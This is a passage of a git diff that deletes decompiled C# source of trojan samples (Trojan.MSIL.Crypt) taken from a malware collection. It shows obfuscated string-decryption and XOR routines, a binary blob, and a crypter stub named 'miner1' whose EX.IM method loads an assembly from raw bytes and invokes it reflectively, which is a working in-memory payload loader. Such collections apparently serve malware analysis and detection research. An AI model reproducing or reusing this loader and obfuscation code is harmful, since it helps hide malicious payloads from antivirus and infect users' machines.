\u000E.\u0003.\u0002((int) num12); - Assembly assembly2 = executingAssembly; - AssemblyName assemblyName; - try - { - assemblyName = assembly2.GetName(); - } - catch - { - assemblyName = new AssemblyName(assembly2.FullName); - } - \u000E.\u000E = assemblyName.GetPublicKeyToken(); - if (\u000E.\u000E != null && \u000E.\u000E.Length == 0) - \u000E.\u000E = (byte[]) null; - int num13 = \u000E.\u0002\u2000; - \u000E.\u0002\u2000 = 0; - long num14 = \u0002\u2000.\u0002(); - num4 = num13 ^ (int) (uint) num14 ^ num1 - 718698180 ^ num2 ^ ~-~--~-~~-~((num1 ^ -2011946117) + num2); - \u000E.\u000F = num4; - \u000E.\u0006 = \u000E.\u0006 & num1 - 164312709 - num2 ^ 432754811 - num1 + num2; - if ((\u000E.\u0003\u2000 & (\u000E.\u0008\u2003​\u2008\u2005\u2008\u2009​\u2006\u2003\u2001\u2002\u2008\u2007\u2002​\u2001\u2003\u2001) -~~--~-~~(244710234 + num1 ^ num2)) == (\u000E.\u0008\u2003​\u2008\u2005\u2008\u2009​\u2006\u2003\u2001\u2002\u2008\u2007\u2002​\u2001\u2003\u2001) 0) - \u000E.\u0006 = (num1 ^ 296474921) + num2; - } - else - num4 = \u000E.\u000F; - if (\u000E.\u0006 != (-244684231 - num1 ^ num2)) - { - int num15 = _param0 ^ 2114902027 - num1 + num2 ^ num4 ^ num1 + 516894578 - num2; - \u000E.\u0003.\u0002().Position = (long) num15; - if (\u000E.\u0005 != null) - { - numArray1 = \u000E.\u0005; - } - else - { - short num16 = \u000E.\u0008 != (short) -1 ? \u000E.\u0008 : (short) ((int) \u000E.\u0003.\u0002() ^ (num1 ^ 296455236) + num2 ^ num15); - if (num16 == (short) 0) - { - numArray1 = (byte[]) null; - } - else - { - numArray1 = \u000E.\u0003.\u0002((int) num16); - for (int index = 0; index != numArray1.Length; ++index) - numArray1[index] ^= (byte) (\u000E.\u000F >> ((3 & index) << 3)); - } - } - num3 = \u000E.\u0003.\u0002() ^ num15 ^ -~~--~-~~(num1 - 1467855207 ^ num2) ^ num4; - if (num3 == (432748021 - num1 | num2)) - { - byte[] numArray2 = \u000E.\u0003.\u0002(4); - _param0 = num1 - 1604240038 - num2 ^ num4; - _param0 = ((int) numArray2[2] | (int) numArray2[3] << 16 | (int) numArray2[0] << 8 | (int) numArray2[1] << 24) ^ -_param0; - } - else - goto label_33; - } - else - goto label_23; - } - else - break; - } - return str1; -label_23: - return new string(new char[3] - { - (char) (244710325 + num1 + num2), - '0', - (char) (-296355261 ^ num1 ^ num2) - }); -label_33: - bool flag1 = (num3 & (num1 - 969618935 ^ num2)) != 0; - bool flag2 = (num3 & (num1 ^ 1851128347) - num2) != 0; - bool flag3 = (num3 & (1370097127 ^ num1) + num2) != 0; - int num17 = num3 & (-372558346 - num1 ^ num2); - byte[] numArray3 = \u000F.\u0002(numArray1, \u000E.\u0003.\u0002(num17)); - if (\u000E.\u000E != null != (\u000E.\u0006 != (num1 ^ 299089021) + num2)) - { - for (int index = 0; index < num17; index = 1 + index) - { - byte num18 = \u000E.\u000E[7 & index]; - byte num19 = (byte) ((int) num18 << 3 | (int) num18 >> 5); - numArray3[index] = (byte) ((uint) numArray3[index] ^ (uint) num19); - } - } - int num20 = \u000E.\u0006 - 12; - byte[] bytes; - int length; - if (!flag1) - { - bytes = numArray3; - length = num17; - } - else - { - length = (int) numArray3[2] | (int) numArray3[0] << 16 | (int) numArray3[3] << 8 | (int) numArray3[1] << 24; - bytes = new byte[length]; - \u000E.\u0002(numArray3, 4, bytes); - } - string str2; - if (flag3 && num20 == num1 - 431140221 - num2) - { - char[] chArray = new char[length]; - for (int index = 0; index < length; ++index) - chArray[index] = (char) bytes[index]; - str2 = new string(chArray); - } - else - str2 = Encoding.Unicode.GetString(bytes, 0, bytes.Length); - int num21 = num20 + ((-244710282 - num1 ^ num2) + (3 & num20) << 5); - if (num21 != (-293772611 ^ num1) - num2) - { - int num22 = num17 + _param0 ^ 433684591 - num1 + num2 ^ num21 & (num1 ^ -296354026 ^ num2); - ref int local = ref num22; - StringBuilder stringBuilder = new StringBuilder(); - int num23 = num1 - 432747935 - num2; - stringBuilder.Append((char) (byte) num23); - string format = stringBuilder.ToString(); - str2 = local.ToString(format); - } - if (!flag2) - { - str2 = string.Intern(str2); - \u000E.\u0002.\u0002(_param0, str2); - if (\u000E.\u0002.\u0002() == 23) - { - \u000E.\u0003.\u0003(); - \u000E.\u0003 = (\u000E.\u000E\u2001\u2007\u2003\u2005​\u2005\u2006\u2008\u200A\u2003\u2008\u2007\u2009\u2008\u2004\u200A\u200A\u2005\u2005\u2009\u2008) null; - \u000E.\u0005 = \u000E.\u000E = (byte[]) null; - } - } - return str2; - } - } - - [DefaultMember("Item")] - internal sealed class \u000F\u2002\u2007\u2006\u2003​\u2004\u2000\u2003\u2004\u2005\u2008\u2001​\u2000\u2009\u2004\u2006\u2009\u2003\u2003\u2004\u2009 - { - private \u000E.\u000F\u2002\u2007\u2006\u2003​\u2004\u2000\u2003\u2004\u2005\u2008\u2001​\u2000\u2009\u2004\u2006\u2009\u2003\u2003\u2004\u2009.\u0002[] \u0002; - private int \u0003; - - public \u000F\u2002\u2007\u2006\u2003​\u2004\u2000\u2003\u2004\u2005\u2008\u2001​\u2000\u2009\u2004\u2006\u2009\u2003\u2003\u2004\u2009() => this.\u0002 = new \u000E.\u000F\u2002\u2007\u2006\u2003​\u2004\u2000\u2003\u2004\u2005\u2008\u2001​\u2000\u2009\u2004\u2006\u2009\u2003\u2003\u2004\u2009.\u0002[16]; - - public \u000F\u2002\u2007\u2006\u2003​\u2004\u2000\u2003\u2004\u2005\u2008\u2001​\u2000\u2009\u2004\u2006\u2009\u2003\u2003\u2004\u2009( - int _param1) - { - int length = 16; - _param1 <<= 1; - while (length < _param1 && length > 0) - length <<= 1; - if (length < 0) - length = 16; - this.\u0002 = new \u000E.\u000F\u2002\u2007\u2006\u2003​\u2004\u2000\u2003\u2004\u2005\u2008\u2001​\u2000\u2009\u2004\u2006\u2009\u2003\u2003\u2004\u2009.\u0002[length]; - } - - public int \u0002() => this.\u0003; - - private void \u0002() - { - \u000E.\u000F\u2002\u2007\u2006\u2003​\u2004\u2000\u2003\u2004\u2005\u2008\u2001​\u2000\u2009\u2004\u2006\u2009\u2003\u2003\u2004\u2009.\u0002[] objArray1 = this.\u0002; - int length1 = objArray1.Length; - int length2 = length1 * 2; - if (length2 <= 0) - return; - \u000E.\u000F\u2002\u2007\u2006\u2003​\u2004\u2000\u2003\u2004\u2005\u2008\u2001​\u2000\u2009\u2004\u2006\u2009\u2003\u2003\u2004\u2009.\u0002[] objArray2 = new \u000E.\u000F\u2002\u2007\u2006\u2003​\u2004\u2000\u2003\u2004\u2005\u2008\u2001​\u2000\u2009\u2004\u2006\u2009\u2003\u2003\u2004\u2009.\u0002[length2]; - int num1 = 0; - for (int index1 = 0; index1 < length1; ++index1) - { - string str = objArray1[index1].\u0003; - if (str != null) - { - int num2 = objArray1[index1].\u0002; - int index2 = num2 & length2 - 1; - while (objArray2[index2].\u0003 != null) - { - ++index2; - if (index2 >= length2) - index2 = 0; - } - objArray2[index2].\u0003 = str; - objArray2[index2].\u0002 = num2; - ++num1; - } - } - this.\u0002 = objArray2; - this.\u0003 = num1; - } - - public string \u0002(int _param1) - { - \u000E.\u000F\u2002\u2007\u2006\u2003​\u2004\u2000\u2003\u2004\u2005\u2008\u2001​\u2000\u2009\u2004\u2006\u2009\u2003\u2003\u2004\u2009.\u0002[] objArray = this.\u0002; - int length = objArray.Length; - int index = _param1 & length - 1; - string str = (string) null; - while (objArray[index].\u0002 != _param1) - { - if (objArray[index].\u0003 != null) - { - ++index; - if (index >= length) - index = 0; - } - else - goto label_6; - } - str = objArray[index].\u0003; -label_6: - return str; - } - - public void \u0002(int _param1, string _param2) - { - \u000E.\u000F\u2002\u2007\u2006\u2003​\u2004\u2000\u2003\u2004\u2005\u2008\u2001​\u2000\u2009\u2004\u2006\u2009\u2003\u2003\u2004\u2009.\u0002[] objArray = this.\u0002; - int length = objArray.Length; - int num1 = length >> 1; - int index = _param1 & length - 1; - while (true) - { - do - { - int num2 = objArray[index].\u0002; - bool flag = objArray[index].\u0003 == null; - if (num2 == _param1 || flag) - { - objArray[index].\u0003 = _param2; - if (!flag) - return; - objArray[index].\u0002 = _param1; - ++this.\u0003; - if (this.\u0003 <= num1) - return; - this.\u0002(); - return; - } - ++index; - } - while (index < length); - index = 0; - } - } - - private struct \u0002 - { - public int \u0002; - public string \u0003; - } - } - - private sealed class \u000E\u2001\u2007\u2003\u2005​\u2005\u2006\u2008\u200A\u2003\u2008\u2007\u2009\u2008\u2004\u200A\u200A\u2005\u2005\u2009\u2008 - { - private Stream \u0002; - private byte[] \u0003; - - public \u000E\u2001\u2007\u2003\u2005​\u2005\u2006\u2008\u200A\u2003\u2008\u2007\u2009\u2008\u2004\u200A\u200A\u2005\u2005\u2009\u2008( - Stream _param1) - { - this.\u0002 = _param1; - this.\u0003 = new byte[4]; - } - - public Stream \u0002() => this.\u0002; - - public short \u0002() - { - this.\u0002(2); - return (short) ((int) this.\u0003[0] | (int) this.\u0003[1] << 8); - } - - public int \u0002() - { - this.\u0002(4); - return (int) this.\u0003[0] | (int) this.\u0003[1] << 8 | (int) this.\u0003[2] << 16 | (int) this.\u0003[3] << 24; - } - - private void \u0002() => throw new EndOfStreamException(); - - private void \u0002(int _param1) - { - int offset = 0; - if (_param1 == 1) - { - int num = this.\u0002.ReadByte(); - if (num == -1) - this.\u0002(); - this.\u0003[0] = (byte) num; - } - else - { - do - { - int num = this.\u0002.Read(this.\u0003, offset, _param1 - offset); - if (num == 0) - this.\u0002(); - offset += num; - } - while (offset < _param1); - } - } - - public void \u0003() - { - Stream stream = this.\u0002; - this.\u0002 = (Stream) null; - stream?.Close(); - this.\u0003 = (byte[]) null; - } - - public byte[] \u0002(int _param1) - { - byte[] numArray = _param1 >= 0 ? new byte[_param1] : throw new ArgumentOutOfRangeException(); - int length = 0; - do - { - int num = this.\u0002.Read(numArray, length, _param1); - if (num != 0) - { - length += num; - _param1 -= num; - } - else - break; - } - while (_param1 > 0); - if (length != numArray.Length) - { - byte[] dst = new byte[length]; - Buffer.BlockCopy((Array) numArray, 0, (Array) dst, 0, length); - numArray = dst; - } - return numArray; - } - } - - private enum \u0008\u2003​\u2008\u2005\u2008\u2009​\u2006\u2003\u2001\u2002\u2008\u2007\u2002​\u2001\u2003\u2001 - { - } -} diff --git a/MSIL/Trojan/MSIL/C/Trojan.MSIL.Crypt.gvl-7aae8877da5362d35c61c92615da0602ef1cabe3faad9dfcf25f4e162bade1e9/_000F.cs b/MSIL/Trojan/MSIL/C/Trojan.MSIL.Crypt.gvl-7aae8877da5362d35c61c92615da0602ef1cabe3faad9dfcf25f4e162bade1e9/_000F.cs deleted file mode 100644 index 2fbfe3b0..00000000 --- a/MSIL/Trojan/MSIL/C/Trojan.MSIL.Crypt.gvl-7aae8877da5362d35c61c92615da0602ef1cabe3faad9dfcf25f4e162bade1e9/_000F.cs +++ /dev/null @@ -1,31 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type:  -// Assembly: 1a9ca88073c831d03e5ae28cc7566846, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null -// MVID: C57E47F5-DC7E-4448-AA2F-A275B8AE3AB0 -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00002-msil\Trojan.MSIL.Crypt.gvl-7aae8877da5362d35c61c92615da0602ef1cabe3faad9dfcf25f4e162bade1e9.exe - -internal static class \u000F -{ - public static byte[] \u0002(byte[] _param0, byte[] _param1) - { - byte num1 = _param0[1]; - int length = _param1.Length; - byte num2 = (byte) (length + 11 ^ (int) num1 + 7); - uint num3 = (uint) (((int) _param0[0] | (int) _param0[2] << 8) + ((int) num2 << 3)); - ushort num4 = 0; - for (int index = 0; index < length; ++index) - { - if ((index & 1) == 0) - { - num3 = (uint) ((int) num3 * 214013 + 2531011); - num4 = (ushort) (num3 >> 16); - } - byte num5 = (byte) num4; - num4 >>= 8; - byte num6 = _param1[index]; - _param1[index] = (byte) ((uint) ((int) num6 ^ (int) num1 ^ (int) num2 + 3) ^ (uint) num5); - num2 = num6; - } - return _param1; - } -} diff --git a/MSIL/Trojan/MSIL/C/Trojan.MSIL.Crypt.gvl-7aae8877da5362d35c61c92615da0602ef1cabe3faad9dfcf25f4e162bade1e9/              b/MSIL/Trojan/MSIL/C/Trojan.MSIL.Crypt.gvl-7aae8877da5362d35c61c92615da0602ef1cabe3faad9dfcf25f4e162bade1e9/              deleted file mode 100644 index 8f3cefbf585929dfc80039424f0324e9b16bf0c7..0000000000000000000000000000000000000000 GIT binary patch literal 0 HcmV?d00001 literal 522 zcmewb$CA#)hL(x*^KiBv8{nFgeWqy|p zs4U{-Tf0M<%fx}qg|qe_>Cv(LW~3XC0_1AE4Pdh{Ji+{7VQV3f`(xh{=6`4IY!!-S zo_h0Tm0BEW3f`ZMHCt}^K<1^D`hwLn z51k53KWjeg_Xo|wmr+aqWG#4<5xy^Lj*VHYyLtAsw3>TuOuqytZ~0_92WU)+)dWeK zhtY?ak5)go{R$MYlk4newHHjxIlOu8+Q*;I0EOm+`J|ULDqg;L706kp-t_dPuV45v z?S*f?^Rw&pN?hNvxAKPSI`^YuHb72l?qT6;vU?8b0@?d6->6LuztQ77(Yu1pHM4R` zwb!fDBI)vZ?jj;U={uR%b`%`w)mxwlAjIeLAG)!b6FC(rZZUKO7{`==YZJx%o8*6}+n02*`dkmNNL zXUmtSJAoWq?eBMGs&v+GuXyz-h}X9PD8$YoX#}YpW$PwLX5}B)az&-2MI+5={ z{_IP~b=O~aPuYBFvGa+=9*^_HOdORD04192oFY<=%M^W{F`x0>@4{O^A)B3?YxkIz J^Zs^u3jq3k{n!8i diff --git a/MSIL/Trojan/MSIL/C/Trojan.MSIL.Crypt.gvw-cfa458247230499a84b8bace00769c691d7a44c3ec65103371af2875471e0507/AssemblyInfo.cs b/MSIL/Trojan/MSIL/C/Trojan.MSIL.Crypt.gvw-cfa458247230499a84b8bace00769c691d7a44c3ec65103371af2875471e0507/AssemblyInfo.cs deleted file mode 100644 index 1e2a4a27..00000000 --- a/MSIL/Trojan/MSIL/C/Trojan.MSIL.Crypt.gvw-cfa458247230499a84b8bace00769c691d7a44c3ec65103371af2875471e0507/AssemblyInfo.cs +++ /dev/null @@ -1,14 +0,0 @@ -using System.Reflection; -using System.Runtime.InteropServices; - -[assembly: AssemblyCompany("")] -[assembly: AssemblyCopyright("")] -[assembly: AssemblyDelaySign(false)] -[assembly: ComVisible(false)] -[assembly: AssemblyTitle("")] -[assembly: AssemblyDescription("vshost32-clr2")] -[assembly: Guid("e8d57579-be37-49fe-b93b-8cb5df6f7ee9")] -[assembly: AssemblyKeyFile("C:\\Users\\Brendan\\Desktop\\Crypters\\Sickanders Crypter Lite\\Lite\\miner1.snk")] -[assembly: AssemblyTrademark("")] -[assembly: AssemblyProduct("1.0.0.0")] -[assembly: AssemblyVersion("1.0.0.0")] diff --git a/MSIL/Trojan/MSIL/C/Trojan.MSIL.Crypt.gvw-cfa458247230499a84b8bace00769c691d7a44c3ec65103371af2875471e0507/Checker/Check.cs b/MSIL/Trojan/MSIL/C/Trojan.MSIL.Crypt.gvw-cfa458247230499a84b8bace00769c691d7a44c3ec65103371af2875471e0507/Checker/Check.cs deleted file mode 100644 index 72d08194..00000000 --- a/MSIL/Trojan/MSIL/C/Trojan.MSIL.Crypt.gvw-cfa458247230499a84b8bace00769c691d7a44c3ec65103371af2875471e0507/Checker/Check.cs +++ /dev/null @@ -1,12 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: Checker.Check -// Assembly: miner1, Version=1.0.0.0, Culture=neutral, PublicKeyToken=9ce2e0bc23b1584c -// MVID: 18758A91-3AE2-445F-93F7-B4B6F4C0BD10 -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare.00004-msil\Trojan.MSIL.Crypt.gvw-cfa458247230499a84b8bace00769c691d7a44c3ec65103371af2875471e0507.exe - -namespace Checker -{ - public class Check - { - } -} diff --git a/MSIL/Trojan/MSIL/C/Trojan.MSIL.Crypt.gvw-cfa458247230499a84b8bace00769c691d7a44c3ec65103371af2875471e0507/Checker/Hello.cs b/MSIL/Trojan/MSIL/C/Trojan.MSIL.Crypt.gvw-cfa458247230499a84b8bace00769c691d7a44c3ec65103371af2875471e0507/Checker/Hello.cs deleted file mode 100644 index c1acd1e2..00000000 --- a/MSIL/Trojan/MSIL/C/Trojan.MSIL.Crypt.gvw-cfa458247230499a84b8bace00769c691d7a44c3ec65103371af2875471e0507/Checker/Hello.cs +++ /dev/null @@ -1,18 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: Checker.Hello -// Assembly: miner1, Version=1.0.0.0, Culture=neutral, PublicKeyToken=9ce2e0bc23b1584c -// MVID: 18758A91-3AE2-445F-93F7-B4B6F4C0BD10 -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare.00004-msil\Trojan.MSIL.Crypt.gvw-cfa458247230499a84b8bace00769c691d7a44c3ec65103371af2875471e0507.exe - -using Microsoft.VisualBasic.CompilerServices; - -namespace Checker -{ - [StandardModule] - internal sealed class Hello - { - public static void Start() - { - } - } -} diff --git a/MSIL/Trojan/MSIL/C/Trojan.MSIL.Crypt.gvw-cfa458247230499a84b8bace00769c691d7a44c3ec65103371af2875471e0507/EX.cs b/MSIL/Trojan/MSIL/C/Trojan.MSIL.Crypt.gvw-cfa458247230499a84b8bace00769c691d7a44c3ec65103371af2875471e0507/EX.cs deleted file mode 100644 index 72efe54c..00000000 --- a/MSIL/Trojan/MSIL/C/Trojan.MSIL.Crypt.gvw-cfa458247230499a84b8bace00769c691d7a44c3ec65103371af2875471e0507/EX.cs +++ /dev/null @@ -1,30 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: EX -// Assembly: miner1, Version=1.0.0.0, Culture=neutral, PublicKeyToken=9ce2e0bc23b1584c -// MVID: 18758A91-3AE2-445F-93F7-B4B6F4C0BD10 -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare.00004-msil\Trojan.MSIL.Crypt.gvw-cfa458247230499a84b8bace00769c691d7a44c3ec65103371af2875471e0507.exe - -using System; -using System.Reflection; -using System.Runtime.CompilerServices; - -public class EX -{ - public static object IM(byte[] AssemblyName, string ClassName, string MethodName, object[] args) - { - Type[] types = Assembly.Load(AssemblyName).GetTypes(); - int index = 0; - while (index < types.Length) - { - Type type = types[index]; - if (type.IsClass && type.FullName.EndsWith("." + ClassName)) - { - object objectValue = RuntimeHelpers.GetObjectValue(Activator.CreateInstance(type)); - return RuntimeHelpers.GetObjectValue(type.InvokeMember(MethodName, BindingFlags.InvokeMethod, (Binder) null, RuntimeHelpers.GetObjectValue(objectValue), args)); - } - checked { ++index; } - } - object obj; - return obj; - } -} diff --git a/MSIL/Trojan/MSIL/C/Trojan.MSIL.Crypt.gvw-cfa458247230499a84b8bace00769c691d7a44c3ec65103371af2875471e0507/My/MyApplication.cs b/MSIL/Trojan/MSIL/C/Trojan.MSIL.Crypt.gvw-cfa458247230499a84b8bace00769c691d7a44c3ec65103371af2875471e0507/My/MyApplication.cs deleted file mode 100644 index d8d3d9d1..00000000 --- a/MSIL/Trojan/MSIL/C/Trojan.MSIL.Crypt.gvw-cfa458247230499a84b8bace00769c691d7a44c3ec65103371af2875471e0507/My/MyApplication.cs +++ /dev/null @@ -1,18 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: My.MyApplication -// Assembly: miner1, Version=1.0.0.0, Culture=neutral, PublicKeyToken=9ce2e0bc23b1584c -// MVID: 18758A91-3AE2-445F-93F7-B4B6F4C0BD10 -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare.00004-msil\Trojan.MSIL.Crypt.gvw-cfa458247230499a84b8bace00769c691d7a44c3ec65103371af2875471e0507.exe - -using Microsoft.VisualBasic.ApplicationServices; -using System.CodeDom.Compiler; -using System.ComponentModel; - -namespace My -{ - [EditorBrowsable(EditorBrowsableState.Never)] - [GeneratedCode("MyTemplate", "8.0.0.0")] - internal class MyApplication : ApplicationBase - { - } -} diff --git a/MSIL/Trojan/MSIL/C/Trojan.MSIL.Crypt.gvw-cfa458247230499a84b8bace00769c691d7a44c3ec65103371af2875471e0507/My/MyComputer.cs b/MSIL/Trojan/MSIL/C/Trojan.MSIL.Crypt.gvw-cfa458247230499a84b8bace00769c691d7a44c3ec65103371af2875471e0507/My/MyComputer.cs deleted file mode 100644 index d5d93f67..00000000 --- a/MSIL/Trojan/MSIL/C/Trojan.MSIL.Crypt.gvw-cfa458247230499a84b8bace00769c691d7a44c3ec65103371af2875471e0507/My/MyComputer.cs +++ /dev/null @@ -1,24 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: My.MyComputer -// Assembly: miner1, Version=1.0.0.0, Culture=neutral, PublicKeyToken=9ce2e0bc23b1584c -// MVID: 18758A91-3AE2-445F-93F7-B4B6F4C0BD10 -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare.00004-msil\Trojan.MSIL.Crypt.gvw-cfa458247230499a84b8bace00769c691d7a44c3ec65103371af2875471e0507.exe - -using Microsoft.VisualBasic.Devices; -using System.CodeDom.Compiler; -using System.ComponentModel; -using System.Diagnostics; - -namespace My -{ - [EditorBrowsable(EditorBrowsableState.Never)] - [GeneratedCode("MyTemplate", "8.0.0.0")] - internal class MyComputer : Computer - { - [DebuggerHidden] - [EditorBrowsable(EditorBrowsableState.Never)] - public MyComputer() - { - } - } -} diff --git a/MSIL/Trojan/MSIL/C/Trojan.MSIL.Crypt.gvw-cfa458247230499a84b8bace00769c691d7a44c3ec65103371af2875471e0507/My/MyProject.cs b/MSIL/Trojan/MSIL/C/Trojan.MSIL.Crypt.gvw-cfa458247230499a84b8bace00769c691d7a44c3ec65103371af2875471e0507/My/MyProject.cs deleted file mode 100644 index aba8148e..00000000 --- a/MSIL/Trojan/MSIL/C/Trojan.MSIL.Crypt.gvw-cfa458247230499a84b8bace00769c691d7a44c3ec65103371af2875471e0507/My/MyProject.cs +++ /dev/null @@ -1,108 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: My.MyProject -// Assembly: miner1, Version=1.0.0.0, Culture=neutral, PublicKeyToken=9ce2e0bc23b1584c -// MVID: 18758A91-3AE2-445F-93F7-B4B6F4C0BD10 -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare.00004-msil\Trojan.MSIL.Crypt.gvw-cfa458247230499a84b8bace00769c691d7a44c3ec65103371af2875471e0507.exe - -using Microsoft.VisualBasic; -using Microsoft.VisualBasic.ApplicationServices; -using Microsoft.VisualBasic.CompilerServices; -using System; -using System.CodeDom.Compiler; -using System.ComponentModel; -using System.ComponentModel.Design; -using System.Diagnostics; -using System.Runtime.CompilerServices; -using System.Runtime.InteropServices; - -namespace My -{ - [GeneratedCode("MyTemplate", "8.0.0.0")] - [HideModuleName] - [StandardModule] - internal sealed class MyProject - { - private static readonly MyProject.ThreadSafeObjectProvider m_ComputerObjectProvider = new MyProject.ThreadSafeObjectProvider(); - private static readonly MyProject.ThreadSafeObjectProvider m_AppObjectProvider = new MyProject.ThreadSafeObjectProvider(); - private static readonly MyProject.ThreadSafeObjectProvider m_UserObjectProvider = new MyProject.ThreadSafeObjectProvider(); - private static readonly MyProject.ThreadSafeObjectProvider m_MyWebServicesObjectProvider = new MyProject.ThreadSafeObjectProvider(); - - [HelpKeyword("My.Computer")] - internal static MyComputer Computer - { - [DebuggerHidden] get => MyProject.m_ComputerObjectProvider.GetInstance; - } - - [HelpKeyword("My.Application")] - internal static MyApplication Application - { - [DebuggerHidden] get => MyProject.m_AppObjectProvider.GetInstance; - } - - [HelpKeyword("My.User")] - internal static User User - { - [DebuggerHidden] get => MyProject.m_UserObjectProvider.GetInstance; - } - - [HelpKeyword("My.WebServices")] - internal static MyProject.MyWebServices WebServices - { - [DebuggerHidden] get => MyProject.m_MyWebServicesObjectProvider.GetInstance; - } - - [MyGroupCollection("System.Web.Services.Protocols.SoapHttpClientProtocol", "Create__Instance__", "Dispose__Instance__", "")] - [EditorBrowsable(EditorBrowsableState.Never)] - internal sealed class MyWebServices - { - [EditorBrowsable(EditorBrowsableState.Never)] - [DebuggerHidden] - public override bool Equals(object o) => base.Equals(RuntimeHelpers.GetObjectValue(o)); - - [EditorBrowsable(EditorBrowsableState.Never)] - [DebuggerHidden] - public override int GetHashCode() => base.GetHashCode(); - - [DebuggerHidden] - [EditorBrowsable(EditorBrowsableState.Never)] - internal new Type GetType() => typeof (MyProject.MyWebServices); - - [EditorBrowsable(EditorBrowsableState.Never)] - [DebuggerHidden] - public override string ToString() => base.ToString(); - - [DebuggerHidden] - private static T Create__Instance__(T instance) where T : new() => (object) instance == null ? new T() : instance; - - [DebuggerHidden] - private void Dispose__Instance__(ref T instance) => instance = default (T); - - [DebuggerHidden] - [EditorBrowsable(EditorBrowsableState.Never)] - public MyWebServices() - { - } - } - - [EditorBrowsable(EditorBrowsableState.Never)] - [ComVisible(false)] - internal sealed class ThreadSafeObjectProvider where T : new() - { - internal T GetInstance - { - [DebuggerHidden] get - { - if ((object) MyProject.ThreadSafeObjectProvider.m_ThreadStaticValue == null) - MyProject.ThreadSafeObjectProvider.m_ThreadStaticValue = new T(); - return MyProject.ThreadSafeObjectProvider.m_ThreadStaticValue; - } - } - - [DebuggerHidden] - [EditorBrowsable(EditorBrowsableState.Never)] - public ThreadSafeObjectProvider() - { - } - } - } -} diff --git a/MSIL/Trojan/MSIL/C/Trojan.MSIL.Crypt.gvw-cfa458247230499a84b8bace00769c691d7a44c3ec65103371af2875471e0507/RManager.cs b/MSIL/Trojan/MSIL/C/Trojan.MSIL.Crypt.gvw-cfa458247230499a84b8bace00769c691d7a44c3ec65103371af2875471e0507/RManager.cs deleted file mode 100644 index ccc5008a..00000000 --- a/MSIL/Trojan/MSIL/C/Trojan.MSIL.Crypt.gvw-cfa458247230499a84b8bace00769c691d7a44c3ec65103371af2875471e0507/RManager.cs +++ /dev/null @@ -1,17 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: RManager -// Assembly: miner1, Version=1.0.0.0, Culture=neutral, PublicKeyToken=9ce2e0bc23b1584c -// MVID: 18758A91-3AE2-445F-93F7-B4B6F4C0BD10 -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare.00004-msil\Trojan.MSIL.Crypt.gvw-cfa458247230499a84b8bace00769c691d7a44c3ec65103371af2875471e0507.exe - -using System.Reflection; -using System.Resources; - -public class RManager -{ - private ResourceManager R; - - public RManager() => this.R = new ResourceManager("vCwRs", Assembly.GetExecutingAssembly()); - - public ResourceManager RRM() => this.R; -} diff --git a/MSIL/Trojan/MSIL/C/Trojan.MSIL.Crypt.gvw-cfa458247230499a84b8bace00769c691d7a44c3ec65103371af2875471e0507/Trojan.MSIL.Crypt.gvw.csproj b/MSIL/Trojan/MSIL/C/Trojan.MSIL.Crypt.gvw-cfa458247230499a84b8bace00769c691d7a44c3ec65103371af2875471e0507/Trojan.MSIL.Crypt.gvw.csproj deleted file mode 100644 index de0b09b8..00000000 --- a/MSIL/Trojan/MSIL/C/Trojan.MSIL.Crypt.gvw-cfa458247230499a84b8bace00769c691d7a44c3ec65103371af2875471e0507/Trojan.MSIL.Crypt.gvw.csproj +++ /dev/null @@ -1,53 +0,0 @@ - - - - - Debug - AnyCPU - {E8BAC55F-B5E0-4785-9EB9-90EBB987E8DA} - WinExe - miner1 - 1.0.0.0 - - - AnyCPU - true - full - false - bin\Debug\ - DEBUG;TRACE - prompt - 4 - - - AnyCPU - pdbonly - true - bin\Release\ - TRACE - prompt - 4 - - - - - - - - - - - - - - - - - - - - - - - - \ No newline at end of file diff --git a/MSIL/Trojan/MSIL/C/Trojan.MSIL.Crypt.gvw-cfa458247230499a84b8bace00769c691d7a44c3ec65103371af2875471e0507/Trojan.MSIL.Crypt.gvw.sln b/MSIL/Trojan/MSIL/C/Trojan.MSIL.Crypt.gvw-cfa458247230499a84b8bace00769c691d7a44c3ec65103371af2875471e0507/Trojan.MSIL.Crypt.gvw.sln deleted file mode 100644 index dc22dc72..00000000 --- a/MSIL/Trojan/MSIL/C/Trojan.MSIL.Crypt.gvw-cfa458247230499a84b8bace00769c691d7a44c3ec65103371af2875471e0507/Trojan.MSIL.Crypt.gvw.sln +++ /dev/null @@ -1,20 +0,0 @@ - -Microsoft Visual Studio Solution File, Format Version 9.00 -# Visual Studio 2005 -Project("{FAE04EC0-301F-11D3-BF4B-00C04F79EFBC}") = "miner1", "Trojan.MSIL.Crypt.gvw-cfa458247230499a84b8bace00769c691d7a44c3ec65103371af2875471e0507.csproj", "{E8BAC55F-B5E0-4785-9EB9-90EBB987E8DA}" -EndProject -Global - GlobalSection(SolutionConfigurationPlatforms) = preSolution - Debug|Any CPU = Debug|Any CPU - Release|Any CPU = Release|Any CPU - EndGlobalSection - GlobalSection(ProjectConfigurationPlatforms) = postSolution - {E8BAC55F-B5E0-4785-9EB9-90EBB987E8DA}.Debug|Any CPU.ActiveCfg = Debug|Any CPU - {E8BAC55F-B5E0-4785-9EB9-90EBB987E8DA}.Debug|Any CPU.Build.0 = Debug|Any CPU - {E8BAC55F-B5E0-4785-9EB9-90EBB987E8DA}.Release|Any CPU.ActiveCfg = Release|Any CPU - {E8BAC55F-B5E0-4785-9EB9-90EBB987E8DA}.Release|Any CPU.Build.0 = Release|Any CPU - EndGlobalSection - GlobalSection(SolutionProperties) = preSolution - HideSolutionNode = FALSE - EndGlobalSection -EndGlobal diff --git a/MSIL/Trojan/MSIL/C/Trojan.MSIL.Crypt.gvw-cfa458247230499a84b8bace00769c691d7a44c3ec65103371af2875471e0507/UniversityDataBase/Electronics.cs 